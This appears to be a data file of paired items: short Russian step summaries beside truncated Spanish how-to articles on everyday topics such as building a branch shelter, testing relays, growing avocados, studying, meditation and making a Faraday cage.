tarifas ocultas. En algunos lugares cobran más por clase después de que has atendido un determinado número de veces. Una buena manera de comprender un estilo de arte marcial y un instructor o escuela en particular es atender a un par de clases antes de decidir por un lugar o estilo en específico. Tendrás la oportunidad de ver el espacio, conocer a otros practicantes y visitar al instructor. Habla con otros estudiantes. Observa qué les gusta del programa y qué no les gusta. Algunos de los artistas marciales con mayor tiempo de asistencia pueden incluso tener experiencia con otros programas, lo cual podría ayudarte a reducir...


Найдите сухой, плоский участок между двумя деревьями с расщелинами в стволе. Найдите ветку длиной 3 метра и толщиной 8-15 сантиметров. Вставьте один конец ветки в расщелину первого дерева. Вставьте второй конец ветки в расщелину второго дерева. Прислоняйте вертикальные ветки к опорной балке, чтобы получился каркас шалаша. Накройте ветки хворостом и листьями, чтобы получился изолирующий слой. Насыпьте подстилку из листьев внутри шалаша.

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Busca bien hasta encontrar un área relativamente plana con un árbol que tenga una división en sus ramas de 1 a 1,5 metros (3 a 5 pies) del suelo. En caso de ser posible, encuentra dos árboles que tengan una división en sus ramas de aproximadamente 1 a 1,5 metros (3 a 5 pies) y estén a una distancia de 3 metros (10 pies) entre sí.  Si no puedes encontrar este tipo de árbol, busca una rama fuerte o un tronco con forma de “Y” que sirvan como soporte para el refugio. Limpia el área entre los árboles, quitando las rocas y la suciedad para que el lugar donde duermas sea más cómodo. Para hacer un refugio, necesitarás una viga de soporte, así que busca una rama fuerte que no esté podrida. Cuanto más derecha sea la rama, mejor podrás formar la estructura del refugio. Deshazte de los bichos o las arañas de las ramas. Introduce un extremo de la rama para sujetarla como viga de soporte en la división de los árboles con forma de “V”. Si el árbol no tiene una división, usa un tronco cuyo extremo tenga forma de “V” y apóyalo contra un árbol para darle soporte a la rama. Si tienes una cuerda o un hilo, ata la rama al árbol para asegurarlo más. Forma un marco horizontal con la rama principal al introducir el otro extremo en la división de un árbol cercano. Asegúrate de que la rama esté firme en su lugar al sacudirla un poco. Reúne algunas ramas que sean lo suficientemente largas como para colocarlas sobre la rama principal del refugio. Arma costillas con las ramas. Procura que estén tan cerca entre sí como sea posible Usa ramas frescas o secas, en vez de usar ramas húmedas o podridas. Una vez que hayas formado la estructura del refugio, usa ramas más pequeñas y con hojas, maleza u hojas para crear una capa de aislamiento que retenga el calor y proporcione una protección contra el viento y la lluvia. Apoya las hojas y las ramas pequeñas sobre el marco en orden decreciente de tamaño para crear una capa más gruesa.  Incorpora capas de aislamiento hasta no encontrar más agujeros y agrega tantas capas como puedas para que el...


Найдите схему реле или его технические характеристики. Осмотрите реле. Отключите реле от источника питания.

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Los relés tienen configuraciones de pin bastante corrientes, pero es mejor buscar en la hoja de datos para obtener más información sobre la configuración de pin del fabricante si es posible. Generalmente suele encontrarse impresa en el relé.  La información acerca de la tensión y voltaje nominales, configuración de pin y otro tipo de informaciones suelen están disponibles en la hoja de datos y son de gran ayuda para la realización de la prueba ya que eliminan muchos errores asociados a esta. Es posible probar los pines al azar sin conocer la configuración, pero en caso de que el relé esté estropeado los resultados pueden ser impredecibles. Dependiendo del tamaño del relé, es posible que este tenga esa información impresa directamente sobre su carcasa. Muchos relés tienen una carcasa de plástico transparente que contiene la bobina y los contactos. Los daños visibles, como el fundido o ennegrecido, pueden ayudar a delimitar el problema.  La mayoría de relés modernos tienen un LED que te indica si están activos (ON). En caso de que esta luz esté apagada y tengas voltaje en los terminales de la bobina del relé (normalmente A1[línea] y A2[común]), casi podrás afirmar con seguridad que el relé está estropeado. Debes hacer cualquier trabajo eléctrico con todas las fuentes de alimentación desconectadas, incluyendo baterías y el voltaje de línea. Ten en cuenta especialmente los condensadores del circuito, ya que pueden almacenar una cierta carga durante un periodo considerable de tiempo después de cortar la fuente de alimentación. No pongas en corto los terminales del condensador para descargarlo. Es mejor comprobar tus leyes locales antes de realizar cualquier trabajo eléctrico, y en caso de que no te sientas seguro, deja que lo haga un profesional. Los trabajos en muy baja tensión no suelen estar sujetos a sus requisitos, pero siempre es importante estar seguro.


Найдите такие формочки, которые будут подходить по размеру к выемкам специального противня для кексов. Приобретите формочки из фольги, чтобы защитить пальцы от жира. Используйте силиконовые формочки в качестве многоразовой альтернативы. Найдите декоративные формочки для праздничных случаев. Ознакомьтесь с отзывами в интернете, чтобы выбрать качественные формочки для кексов.

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Vienen en diferentes tamaños, así que combina el tamaño del capacillo con las ranuras del molde para cupcakes. Si es demasiado grande, no cabrá en el molde. Si es demasiado pequeño se expandirá hacia los lados y los cupcakes quedarán demasiado planos. Encuentra un capacillo que encaje perfectamente en el molde.  Los capacillos estándar son de 5 cm (2,25 pulgadas) de diámetro. Estos quedarán bien en un molde para hornear cupcakes común. Si vas a hacer minicupcakes o mini muffins, es mejor que elijas un capacillo de 2,5 cm (1 pulgada) o 2 cm (3/4 de pulgada). Si no estás seguro de qué capacillos se adaptarán a los moldes, puedes medir el diámetro de una ranura del molde para hornear. Luego busca unos que coincidan con esa medida. El empaque suele indicar el diámetro. Los capacillos de papel encerado o de papel funcionan bien para hornear la mayoría de cosas, pero la grasa los traspasa. Eso significa que el papel absorbe la grasa mientras los cupcakes se hornean, y tus manos se podrían poner grasosas cuando los sostengas. Puedes usar capacillos de aluminio para evitar que la grasa traspase.  Puedes comprar capacillos de aluminio y de papel en supermercados o en línea. Encontrarás una mayor variedad en tiendas especializadas en pastelería. Si quieres reducir la huella de carbono y no quieres tirarlos a la basura después de cada uso, puedes usar capacillos de silicona. Son reutilizables, así que solo debes lavarlos y utilizarlos nuevamente la próxima vez que hornees.  Revisa siempre los capacillos de silicona para saber qué temperatura soportan. La mayoría de capacillos de silicona soportan temperaturas altas, pero revísalos más de una vez para asegurarte de que no se derritan en el horno. No uses capacillos de silicona sobre fuego directo ya que se derretirán. Un beneficio adicional es que ahorrarás dinero porque no tendrás que comprar más cada vez que hornees. Si quieres que los cupcakes sean más divertidos, elige una de las variedades de capacillos decorados que hay disponibles. Pueden ser de diferentes colores...


Найдите теплое место для выращивания с частичным солнцем. Избегайте холода, ветра и мороза. Используйте насыщенную почву с хорошим дренажом. Используйте почву с довольно низким рН.

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Como plantas subtropicales que son, a los aguacates les encanta el sol. Oriundos de América Central, México y las Indias Occidentales, los aguacates evolucionaron para crecer en ambientes cálidos y húmedos. Si bien se han cultivado para que crezcan en lugares tan lejanos como California, siempre necesitaron buena luz solar para crecer de manera óptima. Sin embargo, lo paradójico es que las plantas jóvenes de aguacate se dañan con el exceso de luz solar directa (sobre todo antes de desarrollar hojas largas). Debido a ello, si vas a cultivar una planta de aguacate usando solo la semilla del fruto, deberás elegir una parcela con buen acceso al sol durante ciertas partes del día, pero no una que tenga luz solar directa constante. Los alféizares soleados son excelentes ubicaciones para los aguacates. Además de tener la garantía de que solamente recibirán luz solar durante parte del día, los alféizares interiores te permitirán controlar la temperatura y la humedad a las que está expuesta la planta. La mayoría de las plantas de aguacate no prosperará bajo un clima inclemente. La nieve, vientos fríos y los descensos bruscos de temperatura podrían dañar las plantas más resistentes y hasta podrían matarlas. Si vives en un clima tropical o subtropical con inviernos bastante suaves, podrás mantener tu planta de aguacate al aire libre todo el año. Sin embargo, si vives en una zona donde la temperatura invernal llega a bajo cero, deberás prepararte para mover las plantas en proceso de maduración dentro de casa para protegerlas de las inclemencias del invierno. La tolerancia a las temperaturas frías varía según la variedad de aguacate. En general, las variedades comunes que mencionaremos a continuación no se dañarán tanto por las heladas bajo las temperaturas indicadas: West Indian: -2,2 a 1,7o C (28 a 29o F) Guatemalteco: -2,8 a 1,7o C (27 a 29o F) Hass: -3,9 a 1,7o C (25 a 29o F) Mexicano: -6,1 a 2,8o C (21 a 27o F) Al igual que una gran diversidad de otras plantas comunes de jardín, los aguacates crecen mejor en tierra...


Найдите тетрадь, в которой будете писать. Украсьте тетрадь. Ведите электронный дневник.

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Puedes usar un cuaderno simple o uno adornado. Si solo quieres un diario sencillo, podrás comprar un cuaderno universitario rayado. Si quieres algo más serio, busca un diario bonito con tapa de cuero; ¡incluso podrías conseguir uno con candado y llave!  Elige uno con renglones o sin ellos. El primero puede ser mejor para escribir, mientras que la segunda opción podría facilitar los dibujos y el arte. Reflexiona sobre la manera en la que prefieras plasmar tus ideas, y elige un cuaderno que te inspire a llenarlo. Si planeas llevarlo contigo (en tu bolso, mochila o bolsillo), deberás conseguir uno que sea lo suficientemente pequeño como para tenerlo a la mano de forma conveniente. Dale tu toque personal brindándole un estilo único. Personaliza las tapas con palabras, arte, calcomanías y colores. Toma recortes de tus revistas favoritas y colócalos en la parte interior o exterior del diario. Si no te gustan los adornos, ¡podrás dejarlo tal como está! Contempla la opción de enumerar las páginas. Podrás hacerlo de una sola vez o enumerarlas poco a poco, conforme las llenes. Esta puede ser una manera fantástica de mantener un control de lo que escribas. Este puede ser un medio seguro y de fácil acceso con el cual conservar tus pensamientos. Ingresa las entradas en Microsoft Word u otro procesador de palabras básico. Guárdalas en una carpeta especial o reúnelas en un solo documento canónico.  Usa un sistema al cual puedas acceder con una contraseña mediante el servicio de nube o en internet. De este modo, ¡podrás abrir y editar el diario en cualquier computadora o dispositivo! Usa WordPress o incluso tu cliente de correo electrónico. Podrías perder el encanto de un diario físico a cambio de todos los beneficios de uno digital. Pruébalo si te causa curiosidad. Mantén algunos de estos apuntes en un cuaderno físico y otros en una memoria en tu computadora.


Найдите тихое место для работы. Сформируйте рабочий распорядок. Устраните отвлекающие факторы. Сотрудничайте с другими. Станьте участником писательской группы. Всегда носите с собой ручку и блокнот.

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Aunque a menudo pensamos que la inspiración es algo que simplemente llega de golpe, también se necesita un cierto nivel de disciplina para crear la letra prolija de una canción. Tener un lugar fijo en el que puedas enfocarte y ser creativo te motivará a mantener una práctica regular de composición.  Un lugar tan simple como un escritorio puede ser excelente para escribir. Incluso podrías decorar el espacio con tus fuentes favoritas de inspiración musical para no perderla. Se ha comprobado en estudios que el color azul puede mejorar el rendimiento en una tarea creativa. Prueba volver a pintar tu espacio de color azul o tener decoraciones de este color en tu espacio para continuar. Algunas personas se sienten más inspiradas y emocionadas para escribir a primeras horas de la mañana, mientras que a otras les parece que la noche es mejor para su creatividad. Fíjate la hora del día en que se te acomoda mejor (tener en cuenta otras responsabilidades, como tu trabajo y la carga de la escuela) y fija una rutina de composición en función a ello. Programa este horario en un calendario o un planificador si usas uno. Después de unas cuantas semanas de realizar esta tarea de manera consciente, te habrás acostumbrado y tendrás un flujo estable de material escrito para tus canciones. También será muy fácil distraerte con las redes sociales, las tareas y todos los demás aspectos de tu vida que requieran atención. Sin embargo, tener una hora y un lugar en específico para componer creará un espacio que te saque de toda esa distracción.  Si usas tu computadora para escribir, comprométete a no usar el Internet hasta que termines una cantidad de trabajo fija.  Si sientes constantemente la necesidad de buscar información, apaga el Wi-Fi y escribe notas en tu trabajo de lo que tienes que investigar cuando termines con un borrador. Piensa en las personas de tu vida que tengan actividades artísticas y pregúntales si quisieran colaborar contigo. Hacer una colaboración puede ser tan sencillo como retroalimentarse el trabajo mutuamente o...


Найдите тихое место, где вы сможете расслабиться. Выясните, что вас возбуждает. Включите в фантазии желаемого человека. Задействуйте все свои органы чувств.

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Anda a un lugar donde estés cómodo y donde no te puedan molestar. Generalmente no es agradable que te interrumpan de golpe en medio de una fantasía. Respira lenta y profundamente, y trata de estar consciente de tu cuerpo.  Cierra los ojos si te ayuda a visualizar mejor. Si quieres, baja las luces y pon música para que te ayude a relajar. Tal vez sea algo en lo que nunca antes has pensado. Trata de pensar en las veces en las que te has sentido excitado. ¿Qué estabas haciendo? ¿Qué era lo que te excitaba? O, si te es muy difícil, puedes empezar imaginando algunas situaciones comunes y dejar que tu mente se vaya sola.  Imagina diferentes escenarios. Fantasea que estás en la playa o en una cabaña frente a una fogata. Imagina que estás en una lujosa habitación de hotel, o en una oficina o supermercado. No hay consecuencias dentro de una fantasía, así que puedes imaginar que estás en cualquier lugar.  Piensa en situaciones pasadas y expláyate en ellas. Puedes exagerarlas o hacerlas más intensas, o bien recrearlas en tu mente. Una vez que ya sabes lo que te excita, puedes imaginarte junto a esa persona especial. Deja que la escena pase por tu mente como una película, con la excepción de que aquí tú eres quien dirige la acción.  Trata de imaginar una situación en la que tú y esa persona están lejos de todos. Tal vez están aislados por la nieve dentro de una cabaña o se quedaron atrapados los dos en la sala de copias del trabajo. Fantasea con las cosas que te gustaría hacer con esa persona. Recuerda que tú eres quien manda en esta fantasía, y, si empiezas a sentirte incomodo, puedes cambiarla o simplemente parar en cualquier momento. Excitarse no solo implica estimulación visual. Mientras fantaseas con esa persona, piensa en su voz, su olor, cómo se sentiría tocarlo o tocarla, o que él o ella te toque. Tu fantasía podría ser más intensa si imaginas también los detalles sensoriales a tu alrededor. Si imaginas que estás en la playa, ¿cómo se siente la arena en tu piel? Trata de oír como las olas revientan en la orilla.


Найдите тихое место. Подготовьте место для работы. Включите музыку, если это поможет. Сядьте и сделайте то, что нужно сделать. Возвращайтесь в это же место каждый раз, когда вам нужно сконцентрироваться.

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Ten en cuenta las posibles distracciones del lugar y escoge uno que te distraiga lo menos posible.  El lugar ideal variará según la persona. Si te distraes con la presencia de otras personas, no acudas a bibliotecas ni áreas transitadas de tu casa. Si lo que más te molesta es el ruido, la biblioteca podría ser el entorno perfecto para ti. No acudas a un lugar que relaciones con otras actividades, ya que podrían distraerte. Por ejemplo, si estudias en el área en donde está la televisión, esto podría hacer que la enciendas luego de un tiempo. Estudiar en la cama puede funcionar para algunos, pero podrías sentir ganas de tomar una siesta.  Si has escogido un lugar por creer que podría funcionar, pero notas que algo te ha distraído, vete de allí y busca un área sin esta distracción. Si te obligas a ignorarlo mientras intentas leer o estudiar, esto solo hará que tu concentración se enfoque en otra cosa que no sea la tarea en cuestión. Cerciórate de que haya luz y espacio suficiente como para colocar tus libros e implementos. Usa una silla que mantenga tu espalda erguida pero que sea cómoda. Revisa que tengas todo lo necesario antes de empezar a trabajar. Si te levantas a buscar algo, esto interrumpirá tu flujo de trabajo y podría conducirte hacia otras distracciones. Es importante tener una iluminación apropiada. En un entorno con una luz poco intensa, los ojos se agotarán con más rapidez y esto podría hacer que tomes más descansos de los necesarios. Si vas a usar luz artificial, apunta la fuente de luz directamente hacia la página, en lugar de tu hombro. El efecto del ruido de fondo en la concentración es muy subjetivo. Podrías trabajar con la mayor eficacia si hay un silencio total, o la música podría serte de utilidad para eliminar las distracciones tanto reales como mentales.  Escucha diferentes géneros musicales y determina cuál te ayuda a concentrarte mejor. Podrías distraerte con las letras y preferir música de fondo, o podrías notar que el ritmo del rap puede ayudarte a mantener la concentración. Luego de...


Найдите тихое место. Удобно сядьте. Закройте глаза. Сконцентрируйтесь на дыхании. Позвольте мыслям течь.

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La meditación constituye una de las prácticas budistas más importantes, ya que proporciona perspicacia, quietud, tranquilidad mental, un alivio temporal del sufrimiento, paz interior y ayuda para encaminarte hacia la iluminación.  Si quieres meditar de la forma correcta, es importante que consigas un lugar tranquilo y silencioso en donde puedas concentrarte en tu práctica. Una buena opción es tu habitación u otra habitación vacía. Apaga tu teléfono celular, la televisión, la música y cualquier otra distracción. Siéntate con las piernas cruzadas en el suelo o sobre un cojín si es que esto te es cómodo. En caso de que no te sientas cómodo en esta posición, podrías arrodillarte o bien sentarte en una silla.  Después de encontrar un asiento cómodo, debes sentarte derecho, mantener la cabeza recta y relajar la espalda y los hombros.  Coloca las manos sobre tus muslos con las palmas mirando hacia abajo o bien crúzalas sobre tu regazo. Al practicar la meditación, es posible cerrar los ojos, mantenerlos parcialmente abiertos o dejarlos abiertos del todo. Busca una postura y disposición que te sean cómodas y que faciliten la meditación, sobre todo cuando apenas empieces. En caso de que quieras dejar los ojos abiertos o parcialmente abiertos, debes mirar hacia abajo y fijar la mirada en algo que esté a unos metros frente a ti. En la práctica de la meditación, una de las partes más importantes es el enfoque en la respiración. Si bien no es necesario que respires de una determinada forma, sí debes concentrarte en el aire que fluye hacia dentro y hacia afuera de tu cuerpo.  La importancia de enfocarse en la respiración radica en que es útil para concentrarte en el momento presente sin que tus pensamientos estén enfocados en una sola idea. Asimismo, la meditación tiene relación con estar consciente y presente, por lo que el enfoque en la inhalación y la exhalación constituye una excelente forma de centrarte y mantenerte presente en el momento. Uno de los principales objetivos de la meditación es despejar tu mente y...


Найдите ткань из пушистого, плисового материала в ближайшем текстильном магазине. Купите 1м ткани. Проведите замеры используя швейный метр. Отрежьте два кусочка ткани. Уложите получившиеся кусочки ткани на ровную поверхность внутренней стороной наружу. Приложите три резинки вдоль этих линий. Пришейте резинки, растягивая по мере шитья. Сложите ткань вдвое. Повторите то же самое со вторым кусочком.

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Cualquier tipo de piel de imitación sintética será adecuado. Puedes optar por usar menos si quieres hacer cobertores de bota más cortos en lugar de calentadores que se extiendan hasta las rodillas. Mide la circunferencia en la parte superior de tu espinilla. Querrás utilizar el área que está justo debajo de la rodilla. Agrégale una pulgada (2.5 cm) a la medida tomada para asegurarte que el elástico no sea muy apretado. Mide la circunferencia en la parte más ancha de tu pantorrilla. Mide el área en la parte inferior. Si quieres que sirva para varios tamaños de botas así como de piernas, prueba con una medida de 22 pulgadas (56 cm). Mide el largo de tu pierna a partir del punto que está justo debajo del hueso del tobillo hasta la parte superior de tu canilla. Deben ser tan anchas como el largo de tu pierna y tan largas como la circunferencia en el punto más ancho de tu pantorrilla. Dale ½ pulgada extra en el largo para darle lugar a las costuras. Mide 3 líneas horizontales aproximadamente en el tobillo, media pantorrilla y una pulgada por debajo de la parte superior de la canilla. Colócalos más encogidos en el tobillo y la parte superior de la canilla, si tus medidas fueron drásticamente diferentes. Esto asegurará que no queden anchos.  Junta los dos lados lo más cerca posible al borde. Cose el largo vertical del calentador.  La piel de imitación debería esconder la costura. También puedes juntar el calentador en un círculo y coser hacia adentro hasta donde te permita la máquina de coser. Puede que necesites coser a mano la porción del medio, si no puedes coserlo todo hasta la parte inferior sin coser a través de la apertura de las piernas. No necesitas coser los bordes superiores o inferiores cuando usas telas acrílicas. Úsalos sobre mallas o botas.


Найдите то, чем можете заняться в одиночку. Наденьте наушники. Попробуйте время от времени общаться с людьми. Придумайте способ отхода.

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Ve al cine o a un nuevo restaurante. Visita una cafetería y lee. El hecho de ser un solitario no significa que debas perderte lo que hay en el exterior. No es necesario que hables con alguien; simplemente, busca algo que puedas hacer y hazlo. Para ser un solitario no es necesario que te encierres el resto de tu vida en tu habitación. Tendrás que salir en público en algún momento. Si no quieres que te molesten, usa unos auriculares y escucha tu canción favorita. Si viajas en autobús a la escuela o al trabajo, lleva un libro contigo. Si usas unos auriculares y lees un libro, la mayoría de la gente te dejará en paz. Aunque quizás no te guste hacerlo todo el tiempo, los estudios han demostrado que tener alguna forma de interacción social es beneficioso para todos. Puedes seguir siendo tú mismo e interactuar con la gente. Sé amable y respóndeles a las personas con quienes interactúas de forma frecuente. Si sueles ir a una cafetería del vecindario, trata de conocer al mesero. No es necesario que intercambies información, sino únicamente entabla una buena conversación. Si tienes que asistir a un evento social, como a la fiesta de un amigo, puedes irte antes que los demás. No tiene nada de malo que quieras irte a casa y ponerte cómodo. Toma las medidas necesarias para irte antes que los demás y asegúrate de informarles a algunos de tus amigos cercanos.  Asegúrate de ajustarte al horario del autobús si no tienes un vehículo. No te acostumbres a mentirles a tus amigos sobre el motivo por el que te vas. Cuéntales con sinceridad cómo te sientes en las actividades sociales. Infórmales que socializar te agota y que te vas a casa para relajarte.


Найдите токопроводящий контейнер нужного размера. Застелите внутрь контейнера пакет. Положите внутрь свои устройства.

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Un cesto de basura de acero inoxidable que tenga una tapa que cierre bien funcionará adecuadamente. Puedes buscar contenedores o cajas de otros metales. Esto funcionará como una primera línea de defensa contra la radiación electromagnética. Una vez que hayas elegido el cesto de basura u otro contenedor, forra la parte interior con una capa de papel film. Esto protege tus dispositivos y evita que toquen las superficies conductoras del cesto de basura, y también les provee protección ante inundaciones.  Para un aislamiento mayor, puedes forrar la parte interior del cesto con cartón antes de colocar la capa de plástico.  Puedes agregar capas de papel aluminio y capas extras de papel film adentro para aumentar la efectividad de la jaula de Faraday. Una mayor cantidad de capas hará que la jaula sea más efectiva, incluso si las capas en sí son finas. Una vez que hayas forrado el cesto de basura, coloca los dispositivos dentro de él. La mejor opción es cubrir cada dispositivo de manera individual en su propia jaula de Faraday (como la jaula de Faraday simple de papel de aluminio). También puedes adquirir una bolsa Faraday y colocar los objetos dentro de ella. El cesto de basura funcionará como una capa extra de protección. Una vez que los dispositivos están dentro, puedes fijar la tapa con adhesivos o atornillarla para lograr una jaula más fuerte. También es conveniente amarrar la jaula a una viga o atornillarla a la pared, usando una tira de metal para hacer que la jaula sea permanente.


Найдите трапециевидные мышцы. Помассируйте трапециевидную мышцу в положении лежа. Сдавливайте трапециевидную мышцу. Выполните растяжку трапециевидной мышцы. Выполните растяжку грудных мышц.

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Tienes dos músculos del trapecio, uno en cada lado de la columna vertebral, que tienen la forma de un triángulo y van desde la parte superior del cuello hacia el hombro y la mitad de la espalda. Las tres partes del músculo del trapecio se llaman músculos de trapecio superior, músculos del trapecio medio y músculos del trapecio inferior. Para hacerlo, recuéstate boca arriba con las rodillas flexionadas. Coloca una pelota de tenis debajo de tu espalda, aproximadamente 3 cm o una pulgada fuera de la columna vertebral. Comienza en la parte superior de la espalda y avanza hacia abajo. Recuéstate sobre una bola de tenis durante 8 a 60 segundos y desplázala hacia abajo. Desciende tan lejos como la parte superior de la pelvis y recuerda ejercitar ambos lados de la espalda. ¡Suena peor de lo que se siente! Coloca tu codo y la parte inferior de tu brazo sobre una encimera o una mesa para que puedas apoyarte sobre algo. Pellizca el músculo del trapecio superior entre el cuello y el hombro con el brazo opuesto. Sostenlo durante ocho a sesenta segundos y luego haz lo mismo con el lado opuesto. No hundas los dedos en tu hombro, simplemente comprime el músculo. Recuéstate boca arriba. Comienza con los brazos hacia abajo y a los lados. Muévelos de manera que la parte superior de ellos forme un ángulo de 90 grados con el piso y la parte inferior, un ángulo de 90 grados con respecto a la parte superior. Luego, baja las manos hasta tocar el piso detrás de la cabeza. Estira los brazos directamente sobre la cabeza con las palmas de las manos mirando hacia el techo. Luego mueve los brazos hacia abajo hasta que la parte superior forme un ángulo de 90 grados con respecto a tu cuerpo. Repite el procedimiento entre tres a cinco veces. Aunque el músculo pectoral no es como el trapecio, estirarlo también ayuda a este músculo. Para este estiramiento, deberás pararte en una entrada abierta o al lado de la esquina de una pared. Levanta el brazo al lado de la entrada o pared de manera que la parte de la mano hacia el codo esté pegada a la...


Найдите уважаемые источники информации по теме. Делайте заметки при работе с источниками. Выберите вопрос, на который нужно дать ответ, или проблему, которую необходимо решить. Сформулируйте  тезис, который резюмирует ваш главный довод. Составьте  план, чтобы структурировать ключевые идеи.

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En caso de que vayas a escribir un ensayo académico o un ensayo de cualquier tipo para el que debas respaldar tus afirmaciones con evidencia y ejemplos, es probable que tengas que investigar un poco. Dirígete a la biblioteca o busca en línea para encontrar fuentes actualizadas en las que haya información precisa y verificable sobre tu tema.  Los libros y revistas académicos suelen ser buenas fuentes de información. Aparte de las fuentes impresas, quizás puedas conseguir información confiable en bases de datos académicas (por ejemplo, JSTOR y Google Scholar). Asimismo, puedes buscar documentos de fuentes primarias (por ejemplo, cartas, reportes de testigos presenciales y fotografías). Siempre debes evaluar las fuentes de manera crítica. Incluso en los ensayos de investigación escritos por académicos de buena reputación puede haber sesgos ocultos, información desactualizada y errores simples o lógica incorrecta. Al investigar sobre tu tema, debes llevar notas detalladas sobre la información relevante, las ideas que te interesen y las preguntas que debas explorar más a fondo. En caso de que tengas la intención de usar en tu ensayo alguna parte de la información que encuentres, debes tomar nota de la información detallada de referencia. De este modo, podrás volver a encontrar la información y citarla de la forma correcta.  Quizás te sea de ayuda que hagas tus notas en tarjetas de fichero individuales o las ingreses en un documento de texto en tu computadora de forma que puedas copiarlas, pegarlas y reorganizarlas como desees con facilidad. Haz el intento de organizar tus notas en distintas categorías para así poder identificar las ideas específicas en las que quisieras enfocarte. Por ejemplo, en caso de que vayas a analizar un cuento, podrías colocar en un mismo lugar todas tus notas sobre un tema o personaje en particular. Conforme vayas investigando, es probable que te des cuenta de que tu enfoque se reduce aún más. Por ejemplo, quizás descubras que quieres responder a una pregunta en particular o que te...


Найдите удобное место для обучения. Соблюдайте тишину. Убедитесь, что место достаточно освещенное. Держитесь подальше от соблазнительных отвлекающих факторов. Не учитесь в кровати.

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Si no te sientes cómodo, tendrás dificultades para concentrarte en lo que estudies. Busca un lugar que esté ordenado, te brinde privacidad, sea cómodo y tenga mucho espacio. Si tu lugar favorito no tiene una silla cómoda, puedes llevar un cojín. Los espacios adecuados incluyen a los escritorios en el dormitorio, un área de estudio o un cubículo en la biblioteca de la escuela, o una mesa en una cafetería tranquila. Puedes tener muchas dificultades para concentrarte si hay mucho ruido en el entorno. Busca un área de estudio en la que no te distraigas con las conversaciones de las personas, los sonidos de construcción o la música de los demás. Si es posible, reproduce un poco de música de fondo tranquila y que no te distraiga, así encubrirás los ruidos molestos. Si tendrás que estudiar cerca de otras personas (como tus familiares o compañeros de habitación), indícales de antemano que necesitarás que te dejen tranquilo por un periodo determinado mientras estudias. Las luces tenues o parpadeantes pueden distraerte y causarte más dificultades para ver lo que estudies. Si vas a estudiar durante el día, tendrás que elegir un lugar con mucha luz natural. Si lo harás por la noche o no tienes acceso a una ventana con luz del sol, tendrás que elegir un área con una luz fluorescente de espectro total. Es común que las personas se distraigan mientras estudian si tienen un acceso rápido a las redes sociales, los juegos o algo que quieran mirar. Trata de estudiar en una habitación sin televisión o por lo menos mantenla apagada mientras lo hagas. Si es posible, apaga tu teléfono o déjalo en modo avión a fin de reducir la tentación de navegar en las redes sociales. Si estás estudiando en tu computadora, usa una extensión para mejorar la productividad (como StayFocused), así evitarás las páginas que consuman tu tiempo. Si estás demasiado cómodo, la tentación de dormir podría abrumarte. Si sientes sueño, lo mejor también podría ser que no estudies en sofás ni sillones acogedores. En lugar de ello, siéntate frente a un escritorio...


Найдите удобное место для учебы. Составьте график занятий. Разработайте индивидуальные правила изучения. Делайте перерывы. Следите за здоровьем. Повторяйте материал предыдущего занятия. Создайте список задач. Не пытайтесь запомнить все. Старайтесь осмыслить каждое понятие и формулу. Работайте над вопросами и задачами. Выполняйте домашнее задание. Используйте карточки. Решайте примеры и контрольные работы.

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Cada uno tiene distintas prioridades en cuanto a qué tipo de ambiente de estudio funciona mejor para uno, por lo tanto, encuentra el tuyo. Algunos ejemplos podrían ser: una biblioteca pública o escolar, un salón de clase, una habitación u oficina en casa, una cocina o mesa del comedor, una cafetería, un ambiente externo, etc.  Prueba algunos lugares distintos antes de decidir cuál funciona mejor para ti. Si determinas que más de un lugar funciona para ti, alterna entre ellos. No elijas un lugar al cual te sea difícil llegar dado que es posible que pongas excusas. Por ejemplo, podrías decir que no pudiste estudiar porque no llegaste a tu lugar de estudio. Desarrolla una rutina de estudio. Sé constante. Haz un horario que tome en cuenta tus clases y asígnate un horario de estudio regular. Anda un paso más allá y asígnate tareas específicas para completar durante cada sesión de estudio según el programa de estudios de tu clase.  Cuando hagas tu horario de estudio, no programes estudiar para un solo curso (por ejemplo, Física) por 6 horas de corrido en un día. En vez de eso, estudia varios cursos cada día y haz espacio para Física durante el transcurso de esos días. Esto se conoce como el método de estudio distribuido y permite a tu cerebro absorber más información durante un periodo de tiempo más corto.  Ten cuidado con otras actividades que podrían estar en tu horario y reducir tu tiempo de estudio. Esas actividades podrían incluir un trabajo a tiempo parcial, salir con amigos, hacer actividades de voluntariado, etc. Esas otras actividades también son importantes; no obstante, al igual que el estudio, tales actividades tienes que hacerlas con moderación. Programa un momento de “diversión”, pero no a expensas de tu tiempo de estudio. Es posible que tú seas el único que te brindes motivación para estudiar ciencias, por lo tanto, crea normas y ajústate a ellas. Algunas posibles normas podrían ser:  Recompensarte con un regalo (no solo comida) después de cada determinada cantidad de horas de estudio. Empezar cada...


Найдите удобное положение. Вздремните. Почитайте книгу. Возьмите блокнот. Играйте в слова. Общайтесь.

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Relajarse en un vehículo estrecho puede ser difícil. Apoya una almohada en tu regazo e inclínate sobre las rodillas, o colócala al lado del apoyacabeza para poder dormirte con la luz del sol en el rostro. En el caso de haber espacio, incluso puedes apoyar los pies en la consola o ponerte de costado para estirar las piernas. Recuerda que la seguridad debe ser tu prioridad. Siempre debes usar el cinturón de seguridad durante todo el viaje, incluso cuando busques una posición cómoda. Los viajes largos en auto son una oportunidad ideal para dormir un poco, en especial cuando el viaje comienza por la mañana. No olvides tomar una almohada antes de irte de casa para tener algo donde apoyar la cabeza. Cuando despiertes, estarás mucho más cerca del destino. Un antifaz y un par de auriculares pueden ser muy útiles para bloquear la luz indeseada y los ruidos, lo que te ayudará a dormir en paz. Guarda algunos libros buenos en tu bolso para tener contigo y leerlos cuando quieras disfrutar una actividad tranquila. Leer es una excelente forma de combatir el aburrimiento y despejar tu mente de los kilómetros que tienes por delante.  Escoge un éxito en ventas o una ficción popular que no requiera mucha concentración. Algunas personas sienten náuseas al leer en el auto. Si comienzas a sentirte mal, tómate una pausa por un rato. Guarda algo de papel y un lápiz o bolígrafo en tu bolso personal. De esta forma, podrás hacer garabatos o anotar tus pensamientos durante los momentos de aburrimiento. Un viaje largo en auto también puede ser una buena oportunidad para ponerte al día con las tareas incompletas.  Si viajas con amigos, pásales el cuaderno y jueguen a un juego con papel, como tres en raya, ahorcado o el adivinador.  Explora tu lado creativo al escribir en un diario o crear un poema o una historia corta. Haz que todos tomen turnos para identificar patentes de otros estados o resolver acertijos difíciles. Los juegos de palabras son ideales porque todo lo que necesitas para participar es la imaginación. Estos son algunos...


Найдите укромное место. Заранее приведите себя в порядок. Намекните, что готовы к поцелуям. Следите за реакцией партнера. Наклонитесь для поцелуя.

